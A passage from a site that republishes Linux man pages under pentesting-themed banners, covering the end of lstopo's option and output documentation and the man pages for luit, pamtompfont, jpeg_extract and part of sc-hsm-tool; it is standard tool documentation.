Detect topology as seen by process <pid>, i.e. as if process <pid> did the discovery itself. Note that this can for instance change the set of allowed processors. Also show this process current CPU and Memory binding by marking the corresponding PUs and NUMA nodes (in Green in the graphical output, see the COLORS section below, or by appending (binding) to the verbose text output). If 0 is given as pid, the current binding for the lstopo process will be shown.

–ps –top
Show existing processes as misc objects in the output. To avoid uselessly cluttering the output, only processes that are restricted to some part of the machine are shown. On Linux, kernel threads are not shown. If many processes appear, the output may become hard to read anyway, making the hwloc-ps program more practical.

See –misc-from for a customizable variant using hwloc-ps.

–misc-from <file>
Add Misc objects as described in <file> containing entries such as:

name=myMisc1 cpuset=0x5

name=myMisc2 cpuset=0x7 subtype=myOptionalSubtype

This is useful for combining with hwloc-ps –lstopo-misc (see EXAMPLES below) because hwloc-ps is far more customizable than lstopo’s –top option.

–children-order <order>
Change the order of the different kinds of children with respect to their parent in the graphical output. <order> may be a comma-separated list of keywords among:

memory:above displays memory children above other children (and above the parent if it is a cache). PUs are therefore below their local NUMA nodes, like hwloc 1.x did.

io:right and misc:right place I/O or Misc children on the right of CPU children.

io:below and misc:below place I/O or Misc children below CPU children.

plain places everything not specified together with normal CPU children.

If only plain is specified, lstopo displays the topology in a basic manner that strictly matches the actual tree: Memory, I/O and Misc children are listed below their parent just like any other child. PUs are therefore on the side of their local NUMA nodes, below a common ancestor. This output may result in strange layouts since the size of Memory, CPU and I/O children may be very different, causing the placement algorithm to poorly arrange them in rows.

The default order is memory:above,io:right,misc:right which means Memory children are above CPU children while I/O and Misc are together on the right.

Up to hwloc 2.5, the default was rather to memory:above,plain.

Additionally, memory:above, io:right, io:below, misc:right and misc:below may be suffixed with :horiz, :vert or :rect to force the horizontal, vertical or rectangular layout of children inside these sections.

See also the GRAPHICAL OUTPUT and LAYOUT sections below.

–fontsize <size>
Set the size of text font in the graphical output.

The default is 10.

Boxes are scaled according to the text size. The LSTOPO_TEXT_XSCALE environment variable may be used to further scale the width of boxes (its default value is 1.0).

The –fontsize option is ignored in the ASCII backend.

–gridsize <size>
Set the margin between elements in the graphical output.

The default is 7. It was 10 prior to hwloc 2.1.

This option is ignored in the ASCII backend.

–linespacing <size>
Set the spacing between lines of text in the graphical output.

The default is 4.

The option was included in –gridsize prior to hwloc 2.1 (and its default was 10).

This option is ignored in the ASCII backend.

–thickness <size>
Set the thickness of lines and boxes in the graphical output.

The default is 1.

This option is ignored in the ASCII backend.

–horiz, –horiz=<type1,…>
Force a horizontal graphical layout instead of nearly 4/3 ratio in the graphical output. If a comma-separated list of object types is given, the layout only applies to the corresponding container objects. Ignored for bridges since their children are always vertically aligned.

–vert, –vert=<type1,…>
Force a vertical graphical layout instead of nearly 4/3 ratio in the graphical output. If a comma-separated list of object types is given, the layout only applies to the corresponding container objects.

–rect, –rect=<type1,…>
Force a rectangular graphical layout with nearly 4/3 ratio in the graphical output. If a comma-separated list of object types is given, the layout only applies to the corresponding container objects. Ignored for bridges since their children are always vertically aligned.

–no-text, –no-text=<type1,…>
Do not display any text in boxes in the graphical output. If a comma-separated list of object types is given, text is disabled for the corresponding objects. This is mostly useful for removing text from Group objects.

–text, –text=<type1,…>
Display text in boxes in the graphical output (default). If a comma-separated list of object types is given, text is reenabled for the corresponding objects (if it was previously disabled with –no-text).

–no-index, –no-index=<type1,…>
Do not show object indexes in the graphical output. If a comma-separated list of object types is given, indexes are disabled for the corresponding objects.

–index, –index=<type1,…>
Show object indexes in the graphical output (default). If a comma-separated list of object types is given, indexes are reenabled for the corresponding objects (if they were previously disabled with –no-index).

–no-attrs, –no-attrs=<type1,…>
Do not show object attributes (such as memory size, cache size, PCI bus ID, PCI link speed, etc.) in the graphical output. If a comma-separated list of object types is given, attributes are disabled for the corresponding objects.

–attrs, –attrs=<type1,…>
Show object attributes (such as memory size, cache size, PCI bus ID, PCI link speed, etc.) in the graphical output (default). If a comma-separated list of object types is given, attributes are reenabled for the corresponding objects (if they were previously disabled with –no-attrs).

–no-legend
Remove all text legend lines at the bottom of the graphical output.

–no-default-legend
Remove default text legend lines at the bottom of the graphical output. User-added legend lines with –append-legend or the “lstopoLegend” info are still displayed if any.

–append-legend <line>
Append the line of text to the bottom of the legend in the graphical output. If adding multiple lines, each line should be given separately by passing this option multiple times. Additional legend lines may also be specified inside the topology using the “lstopoLegend” info attributes on the topology root object.

–grey, –greyscale
Use greyscale instead of colors in the graphical output.

–palette <grey|greyscale|defaut|colors|white|none>
Change the color palette. Passing grey or greyscale is identical to passing –grey or –greyscale. Passing white or none uses white instead of colors for all box backgrounds. Passing default or colors reverts back to the default color palette.

–palette type=#rrggbb
Replace the color of the given box type with the given 3x8bit hexadecimal RGB combination (e.g. #ff0000 is red). Existing types are machine, group, package, group_in_package, die, core, pu, numanode, memories (box containing multiple memory children), cache, pcidev, osdev, bridge, and misc.

See also CUSTOM COLOR below for customizing individual objects.

–binding-color <none|#rrggbb>
Do not colorize PUs and NUMA nodes according to the binding in the graphical output. Or change the color to the given 3x8bit hexadecimal RGB combination (e.g. #ff0000 is red).

–disallowed-color <none|#rrggbb>
Do not colorize disallowed PUs and NUMA nodes in the graphical output. Or change the color to the given 3x8bit hexadecimal RGB combination (e.g. #00ff00 is green).

–top-color <none|#rrggbb>
Do not colorize task objects in the graphical output when –top is given. Or change the color to the given 3x8bit hexadecimal RGB combination (e.g. #0000ff is blue). This is actually applied to Misc objects of subtype Process or Thread.

–version
Report version and exit.

-h –help
Display help message and exit.

DESCRIPTION

lstopo and lstopo-no-graphics are capable of displaying a topological map of the system in a variety of different output formats. The only difference between lstopo and lstopo-no-graphics is that graphical outputs are only supported by lstopo, to reduce dependencies on external libraries. hwloc-ls is identical to lstopo-no-graphics.

The filename specified directly implies the output format that will be used; see the OUTPUT FORMATS section, below. Output formats that support color will indicate specific characteristics about individual CPUs by their color; see the COLORS section, below.

OUTPUT FORMATS

By default, if no output filename is specified, the output is sent to a graphical window if possible in the current environment (DISPLAY environment variable set on Unix, etc.). Otherwise, a text summary is displayed in the console. The console is also used when the program runs from a terminal and the output is redirected to a pipe or file. These default behaviors may be changed by passing –of console to force console mode or –of window for graphical window.

The filename on the command line usually determines the format of the output. There are a few filenames that indicate specific output formats and devices (e.g., a filename of “-” will output a text summary to stdout), but most filenames indicate the desired output format by their suffix (e.g., “topo.png” will output a PNG-format file).

The format of the output may also be changed with “–of”. For instance, “–of pdf” will generate a PDF-format file on the standard output, while “–of fig toto” will output a Xfig-format file named “toto”.

The list of currently supported formats is given below. Any of them may be used with “–of” or as a filename suffix.

default
Send the output to a window or to the console depending on the environment.

window
Send the output to a graphical window.

console
Send a text summary to stdout. Binding or unallowed processors are only annotated in this mode if verbose; see the COLORS section, below.

ascii
Output an ASCII art representation of the map (formerly called txt). If outputting to stdout and if colors are supported on the terminal, the output will be colorized.

tikz or tex
Output a LaTeX tikzpicture representation of the map that can be compiled with a LaTeX compiler.

fig
Output a representation of the map that can be loaded in Xfig.

svg
Output a SVG representation of the map, using Cairo (by default, if supported) or a native SVG backend (fallback, always supported). See cairosvg and nativesvg below.

cairosvg or svg(cairo)
If lstopo was compiled with the proper support, output a SVG representation of the map using Cairo.

nativesvg or svg(native)
Output a SVG representation of the map using the native SVG backend. It may be less pretty than the Cairo output, but it is always supported, and SVG objects have attributes for identifying and manipulating them. See dynamic_SVG_example.html for an example.

pdf
If lstopo was compiled with the proper support, lstopo outputs a PDF representation of the map.

ps
If lstopo was compiled with the proper support, lstopo outputs a Postscript representation of the map.

png
If lstopo was compiled with the proper support, lstopo outputs a PNG representation of the map.

synthetic
If the topology is symmetric (which requires that the root object has its symmetric_subtree field set), lstopo outputs a synthetic description string. This output may be reused as an input synthetic topology description later. See also the Synthetic topologies section in the documentation. Note that Misc and I/O devices are ignored during this export.

xml
lstopo outputs an XML representation of the map. It may be reused later, even on another machine, with lstopo –input, the HWLOC_XMLFILE environment variable, or the hwloc_topology_set_xml() function.

The following special names may be used:

-
Send a text summary to stdout.

/dev/stdout
Send a text summary to stdout. It is effectively the same as specifying “-”.

-.<format>
If the entire filename is “-.<format>”, lstopo behaves as if “–of <format> -” was given, which means a file of the given format is sent to the standard output.

See the output of “lstopo –help” for a specific list of what graphical output formats are supported in your hwloc installation.

GRAPHICAL OUTPUT

The graphical output is made of nested boxes representing the inclusion of objects in the hierarchy of resources. Usually a Machine box contains one or several Package boxes, that contain multiple Core boxes, with one or several PUs each.

Caches

Caches are displayed in a slightly different manner because they do not actually include computing resources such as cores. For instance, a L2 Cache shared by a pair of Cores is drawn as a Cache box on top of two Core boxes (instead of having Core boxes inside the Cache box).

NUMA nodes and Memory-side Caches

By default, NUMA nodes boxes are drawn on top of their local computing resources. For instance, a processor Package containing one NUMA node and four Cores is displayed as a Package box containing the NUMA node box above four Core boxes. If a NUMA node is local to the L3 Cache, the NUMA node is displayed above that Cache box. All this specific drawing strategy for memory objects may be disabled by passing command-line option –children-order plain.

If multiple NUMA nodes are attached to the same parent object, they are displayed inside an additional unnamed memory box.

If some Memory-side Caches exist in front of some NUMA nodes, they are drawn as boxes immediately above them.

PCI bridges, PCI devices and OS devices

The PCI hierarchy is not drawn as a set of included boxes but rather as a tree of bridges (that may actually be switches) with links between them. The tree starts with a small square on the left for the hostbridge or root complex. It ends with PCI device boxes on the right. Intermediate PCI bridges/switches may appear as additional small squares in the middle.

PCI devices on the right of the tree are boxes containing their PCI bus ID (such as 00:02.3). They may also contain sub-boxes for OS device objects such as a network interface eth0 or a CUDA GPU cuda0.

When there is a single link (horizontal line) on the right of a PCI bridge, it means that a single device or bridge is connected on the secondary PCI bus behind that bridge. When there is a vertical line, it means that multiple devices and/or bridges are connected to the same secondary PCI bus.

The datarate of a PCI link may be written (in GB/s) right below its drawn line (if the operating system and/or libraries are able to report that information). This datarate is the currently configured speed of the entire PCI link (sum of the bandwidth of all PCI lanes in that link). It may change during execution since some devices are able to slow their PCI links down when idle.

LAYOUT

In its graphical output, lstopo uses simple rectangular heuristics to try to achieve a 4/3 ratio between width and height. Although the hierarchy of resources is properly reflected, the exact physical organization (NUMA distances, rings, complete graphs, etc.) is currently ignored.

The layout of a level may be changed with –vert, –horiz, and –rect to force a parent object to arrange its children in vertical, horizontal or rectangular manners respectively.

The position of Memory, I/O and Misc children with respect to other children objects may be changed using –children-order. This effectivement divides children into multiple sections. The layout of children is first computed inside each section, before sections are placed inside (or below) the parent box.

The vertical/horizontal/rectangular layout of these additional sections may also be configured through –children-order.

COLORS

Individual CPUs and NUMA nodes are colored in the graphical output formats to indicate different characteristics:

Green
The topology is reported as seen by a specific process (see –pid), and the given CPU or NUMA node is in this process CPU or Memory binding mask.

White
The CPU or NUMA node is in the allowed set (see below). If the topology is reported as seen by a specific process (see –pid), the object is also not in this process binding mask.

Red
The CPU or NUMA node is not in the allowed set (see below).

The “allowed set” is the set of CPUs or NUMA nodes to which the current process is allowed to bind. The allowed set is usually either inherited from the parent process or set by administrative qpolicies on the system. Linux cpusets are one example of limiting the allowed set for a process and its children to be less than the full set of CPUs or NUMA nodes on the system.

Different processes may therefore have different CPUs or NUMA nodes in the allowed set. Hence, invoking lstopo in different contexts and/or as different users may display different colors for the same individual CPUs (e.g., running lstopo in one context may show a specific CPU as red, but running lstopo in a different context may show the same CPU as white).

Some lstopo output modes, e.g. the console mode (default non-graphical output), do not support colors at all. The console mode displays the above characteristics by appending text to each PU line if verbose messages are enabled.

CUSTOM COLORS

The colors of different kinds of boxes may be configured with –palette.

The color of each object in the graphical output may also be enforced by specifying a “lstopoStyle” info attribute in that object. Its value should be a semi-colon separated list of “<attribute>=#rrggbb” where rr, gg and bb are the RGB components of a color, each between 0 and 255, in hexadecimal (00 to ff). <attribute> may be

Background
Sets the background color of the main object box.

Text
Sets the color of the text showing the object name, type, index, etc.

Text2
Sets the color of the additional text near the object, for instance the link speed behind a PCI bridge.

The “lstopoStyle” info may be added to a temporarily-saved XML topologies with hwloc-annotate, or with hwloc_obj_add_info(). For instance, to display all core objects in blue (with white names):

lstopo save.xml hwloc-annotate save.xml save.xml core:all info lstopoStyle “Background=#0000ff;Text=#ffffff” lstopo -i save.xml

EXAMPLES

To display the machine topology in textual mode:

lstopo-no-graphics

To display the machine topology in ascii-art mode:

lstopo-no-graphics -.ascii

To display in graphical mode (assuming that the DISPLAY environment variable is set to a relevant value):

lstopo

To export the topology to a PNG file:

lstopo file.png

To export an XML file on a machine and later display the corresponding graphical output on another machine:

machine1$ lstopo file.xml <transfer file.xml from machine1 to machine2> machine2$ lstopo –input file.xml

To save the current machine topology to XML and later reload it faster while still considering it as the current machine:

$ lstopo file.xml <…> $ lstopo –input file.xml –thissystem

To restrict an XML topology to only physical processors 0, 1, 4 and 5:

lstopo –input file.xml –restrict 0x33 newfile.xml

To restrict an XML topology to only numa node whose logical index is 1:

lstopo –input file.xml –restrict $(hwloc-calc –input file.xml node:1) newfile.xml

To display a summary of the topology:

lstopo -s

To get more details about the topology:

lstopo -v

To only show cores:

lstopo –only core

To show cpusets:

lstopo –cpuset

To only show the cpusets of package:

lstopo –only package –cpuset-only

Simulate a fake hierarchy; this example shows with 2 NUMA nodes of 2 processor units:

lstopo –input “node:2 2”

To count the number of logical processors in the system

lstopo –only pu | wc -l

To append the kernel release and version to the graphical legend:

lstopo –append-legend “Kernel release: $(uname -r)” –append-legend “Kernel version: $(uname -v)”

To show where a process and its children are bound by combining with hwloc-ps:

hwloc-ps –pid-children 23 –lstopo-misc - | lstopo –misc-from -

NOTES

lstopo displays memory and cache sizes with units such as kB (1 kilobyte = 1000 bytes) or GB (1 gigabyte = 1000*1000*1000 bytes) while it actually means KiB (1 kibibyte = 1024 bytes) or GiB (1 gibibytes = 1024*1024*1024 bytes) .

SEE ALSO

hwloc(7), hwloc-info(1), hwloc-bind(1), hwloc-annotate(1), hwloc-ps(1), hwloc-gather-topology(1), hwloc-gather-cpuid(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

103 - Linux cli command luit

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command luit and provides detailed information about the command luit, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the luit.

NAME 🖥️ luit 🖥️

Locale and ISO 2022 support for Unicode terminals

SYNOPSIS

luit [ options ] [ ] [ program [ args ] ]

DESCRIPTION

Luit is a filter that can be run between an arbitrary application and a UTF-8 terminal emulator. It will convert application output from the locale’s encoding into UTF-8, and convert terminal input from UTF-8 into the locale’s encoding.

Luit reads its input from the child process, i.e., an application running in the terminal. Luit writes its output to the terminal. The two (input and output) can have different encodings.

An application may also request switching to a different output encoding using ISO 2022 and ISO 6429 escape sequences. Use of this feature is discouraged: multilingual applications should be modified to directly generate UTF-8 instead.

Luit is usually invoked transparently by the terminal emulator. For information about running luit from the command line, see EXAMPLES below.

OPTIONS

-V
Print luit’s version and quit.

-alias* filename*
the locale alias file
(default: unknown).

-argv0* name*
Set the child’s name (as passed in argv[0]).

-c
Function as a simple converter from standard input to standard output.

-encoding* encoding*
Set up luit to use encoding rather than the current locale’s encoding.

-g0* charset*
Set the output charset initially selected in G0. The default depends on the locale, but is usually ASCII.

-g1* charset*
Set the output charset initially selected in G1. The default depends on the locale.

-g2* charset*
Set the output charset initially selected in G2. The default depends on the locale.

-g3* charset*
Set the output charset initially selected in G3. The default depends on the locale.

-gl* gn*
Set the initial assignment of GL in the output. The argument should be one of g0, g1, g2 or g3. The default depends on the locale, but is usually g0.

-gr* gk*
Set the initial assignment of GR in the output. The default depends on the locale, and is usually g2 except for EUC locales, where it is g1.

-h
Display a usage and options message on the standard output and quit.

-ilog* filename*
Log into filename all the bytes received from the child.

-k7
Generate seven-bit characters for keyboard input.

-kg0* charset*
Set the input charset initially selected in G0. The default depends on the locale, but is usually ASCII.

-kg1* charset*
Set the input charset initially selected in G1. The default depends on the locale.

-kg2* charset*
Set the input charset initially selected in G2. The default depends on the locale.

-kg3* charset*
Set the input charset initially selected in G3. The default depends on the locale.

-kgl* gn*
Set the initial assignment of GL in the input. The argument should be one of g0, g1, g2 or g3. The default depends on the locale, but is usually g0.

-kgr* gk*
Set the initial assignment of GR in the input. The default depends on the locale, and is usually g2 except for EUC locales, where it is g1.

-kls
Generate locking shifts (SO/SI) for keyboard input.

+kss
Disable generation of single-shifts for keyboard input.

+kssgr
Use GL codes after a single shift for keyboard input. By default, GR codes are generated after a single shift when generating eight-bit keyboard input.

-list
List the supported charsets and encodings, then quit. Luit uses its internal tables for this, which are based on the fontenc library.

-list-builtin
List the built-in encodings used as a fallback when data from iconv or fontenc is missing.

This option relies on luit being configured to use iconv, since the fontenc library does not supply a list of built-in encodings.

-list-fontenc
List the encodings provided by .enc files originally distributed with the fontenc library.

-list-iconv
List the encodings and locales supported by the iconv library. Luit adapts its internal tables of fontenc names to iconv encodings.

To make scripting simpler, luit ignores spaces, underscores and ASCII minus-signs (dash) embedded in the names. Luit also ignores case when matching charset and encoding names.

This option lists only the encodings which are associated with the locales supported on the current operating system. The portable iconv application provides a list of its supported encodings with the -l option. Other implementations may provide similar functionality. There is no portable library call by which an application can obtain the same information.

-olog* filename*
Log into filename all the bytes sent to the terminal emulator.

+ols
Disable interpretation of locking shifts in application output.

+osl
Disable interpretation of character set selection sequences in application output.

+oss
Disable interpretation of single shifts in application output.

+ot
Disable interpretation of all sequences and pass all sequences in application output to the terminal unchanged. This may lead to interesting results.

-p
In startup, establish a handshake between parent and child processes. This is needed for some older systems, e.g., to successfully copy the terminal settings to the pseudo-terminal.

-prefer* list*
Set the lookup-order preference for character set information. The parameter is a comma-separated list of keywords. The default order (listing all keywords) is

fontenc,builtin,iconv,posix

The default order uses fontenc first because this allows luit to start more rapidly (about 0.1 seconds) than using iconv for complex encodings such as eucJP. However, you may find that the iconv implementation is more accurate or complete. In that case, you can use the -show-iconv option to obtain a text file which can be used as an encoding with the fontenc configuration.

This option relies on luit being configured to use iconv, since the fontenc library does not provide this choice.

-show-builtin* encoding*
Show a built-in encoding, e.g., from a .enc file using the .enc format.

This option relies on luit being configured to use iconv, since the fontenc library does not supply a list of built-in encodings.

-show-fontenc* encoding*
Show a given encoding, e.g., from a .enc file using the .enc format. If luit is configured to use the fontenc library, it obtains the information using that library. Otherwise luit reads the file directly.

Some of fontenc’s encodings are built into the library. The fontenc library uses those in preference to an external file. Use the -show-builtin option to provide similar information when luit is configured to use iconv.

-show-iconv* encoding*
Show a given encoding, using the .enc format. If luit is configured to use iconv, it obtains the information using that interface. If iconv cannot supply the information, luit may use a built-in table.

-t
Initialize luit using the locale and command-line options, but do not open a pty connection. This option is used for testing luit’s configuration. It will exit with success if no errors were detected. Repeat the -t option to cause warning messages to be treated as errors.

-v
Be verbose. Repeating the option, e.g., -v -v makes it more verbose. Luit does not use getopt, so -vv does not work.

-x
Exit as soon as the child dies. This may cause luit to lose data at the end of the child’s output.


End of options.

ENVIRONMENT

Luit uses these environment variables:

FONT_ENCODINGS_DIRECTORY
overrides the location of the encodings.dir file, which lists encodings in external .enc files.

LC_ALL
LC_CTYPE
LANG
During initialization, luit calls setlocale to check if the user’s locale is supported by the operating system. If setlocale returns a failure, luit looks instead at these variables in succession to obtain any clues from the user’s environment for locale preference.

NCURSES_NO_UTF8_ACS
Luit sets this to tell ncurses to not rely upon VT100 SI/SO controls for line-drawing.

SHELL
This is normally set by shells other than the Bourne shell, as a convention. Luit will use this value (rather than the user’s entry in /etc/passwd) to decide which shell to execute. If SHELL is not set, luit executes /bin/sh.

EXAMPLES

The most typical use of luit is to adapt an instance of XTerm to the locale’s encoding. Current versions of XTerm invoke luit automatically when it is needed. If you are using an older release of XTerm, or a different terminal emulator, you may invoke luit manually:

$ xterm -u8 -e luit

If you are running in a UTF-8 locale but need to access a remote machine that doesn’t support UTF-8, luit can adapt the remote output to your terminal:

$ LC_ALL=fr_FR luit ssh legacy-machine

Luit is also useful with applications that hard-wire an encoding that is different from the one normally used on the system or want to use legacy escape sequences for multilingual output. In particular, versions of Emacs that do not speak UTF-8 well can use luit for multilingual output:

$ luit -encoding ‘ISO 8859-1’ emacs -nw

And then, in Emacs,

M-x set-terminal-coding-system RET iso-2022-8bit-ss2 RET

FILES

unknown
The file mapping locales to locale encodings.

SECURITY

On systems with SVR4 (Unix-98) ptys (Linux version 2.2 and later, SVR4), luit should be run as the invoking user.

On systems without SVR4 (Unix-98) ptys (notably BSD variants), running luit as an ordinary user will leave the tty world-writable; this is a security hole, and luit will generate a warning (but still accept to run). A possible solution is to make luit suid root; luit should drop privileges sufficiently early to make this safe. However, the startup code has not been exhaustively audited, and the author takes no responsibility for any resulting security issues.

Luit will refuse to run if it is installed setuid and cannot safely drop privileges.

BUGS

None of this complexity should be necessary. Stateless UTF-8 throughout the system is the way to go.

Charsets with a non-trivial intermediary byte are not yet supported.

Selecting alternate sets of control characters is not supported and will never be.

SEE ALSO

These are portable:

  • xterm(1),

  • ncurses(3X).

These are Linux-specific:

  • unicode(1),

  • utf-8(1),

  • charsets(1).

These are particularly useful:

Character Code Structure and Extension Techniques (ISO 2022, ECMA-35)
Control Functions for Coded Character Sets (ISO 6429, ECMA-48)
http://czyborra.com/charsets/

AUTHOR

Luit was written by Juliusz Chroboczek <[email protected]> for the XFree86 project.

Thomas E. Dickey has maintained luit for use by xterm since 2006.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

104 - Linux cli command pamtompfont

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamtompfont and provides detailed information about the command pamtompfont, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamtompfont.

.

NAME 🖥️ pamtompfont 🖥️

Convert Netpbm image to Mplayer bitmap font file

SYNOPSIS

pamtompfont [netpbmfile]

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one. You may separate an option name and its value with white space instead of an equals sign.

DESCRIPTION

This program is part of Netpbm(1) .

pamtompfont reads a Netpbm image (PNM or PAM) and converts it to an Mplayer bitmap font raster file.

This is the original font format used by Mplayer (for subtitles, on-screen messages, etc.), before it had the ability to use Freetype to access standard fonts.

The format was apparently an image format before Mplayer adopted it for fonts, but I have no idea where it came from or where else it might be used.

An Mplayer bitmap font consists of a font descriptor file and raster files. The font descriptor file identifies the raster files by file name. A raster file contains a single rectangular raster image which contains an arrangement of a bunch of glyphs. Each glyph is a rectangular image and the font descriptor indicates where in the image the glyph for each codepoint is. Every glyph in the font has the same height, so the font descriptor just indicates the file position in the raster file of the to left corner of the glyph, and the width of the glyph in pixels.

OPTIONS

There are no command line options defined specifically for pamtompfont, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pam(1)

HISTORY

pamtompfont was added to Netpbm in Release 10.43 (June 2008).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamtompfont.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

105 - Linux cli command jpeg_extract

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command jpeg_extract and provides detailed information about the command jpeg_extract, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the jpeg_extract.

NAME 🖥️ jpeg_extract 🖥️

jpeg extractor

SYNOPSIS

jpeg_extract <filename>

DESCRIPTION

jpeg_extractor is used by fiwalk, provided by TSK (The Sleuth Kit) to manipulate JPG files.

AUTHOR

The Sleuth Kit was written by Brian Carrier <[email protected]>.

This manual page was written by Joao Eriberto Mota Filho <[email protected]> for the Debian project (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

106 - Linux cli command sc-hsm-tool

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sc-hsm-tool and provides detailed information about the command sc-hsm-tool, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sc-hsm-tool.

NAME 🖥️ sc-hsm-tool 🖥️

hsm-tool - smart card utility for SmartCard-HSM

SYNOPSIS

sc-hsm-tool [OPTIONS]

The sc-hsm-tool utility can be used from the command line to perform extended maintenance tasks not available via PKCS#11 or other tools in the OpenSC package. It can be used to query the status of a SmartCard-HSM, initialize a device, generate and import Device Key Encryption Key (DKEK) shares and to wrap and unwrap keys.

OPTIONS

–initialize, -X

Initialize token, removing all existing keys, certificates and files.

Use –so-pin to define SO-PIN for first initialization or to verify in subsequent initializations.

Use –pin to define the initial user pin value.

Use –pin-retry to define the maximum number of wrong user PIN presentations.

Use with –dkek-shares to enable key wrap / unwrap.

Use with –label to define a token label

Use with –public-key-auth and –required-pub-keys to require public key authentication for login

–create-dkek-share filename, -C filename

Create a DKEK share encrypted under a password and save it to the file given as parameter.

Use –password to provide a password for encryption rather than prompting for one.

Use –pwd-shares-threshold and –pwd-shares-total to randomly generate a password and split is using a (t, n) threshold scheme.

–import-dkek-share filename, -I filename

Prompt for user password, read and decrypt DKEK share and import into SmartCard-HSM.

Use –password to provide a password for decryption rather than prompting for one.

Use –pwd-shares-total to specify the number of shares that should be entered to reconstruct the password.

–wrap-key filename, -W filename

Wrap the key referenced in –key-reference and save with it together with the key description and certificate to the given file.

Use –pin to provide the user PIN on the command line.

–unwrap-key filename, -U filename

Read wrapped key, description and certificate from file and import into SmartCard-HSM under the key reference given in –key-reference.

Determine the key reference using the output of pkcs15-tool -D.

Use –pin to provide a user PIN on the command line.

Use –force to remove any key, key description or certificate in the way.

–dkek-shares number-of-shares, -s number-of-shares

Define the number of DKEK shares to use for recreating the DKEK.

This is an optional parameter. Using –initialize without –dkek-shares will disable the DKEK completely.

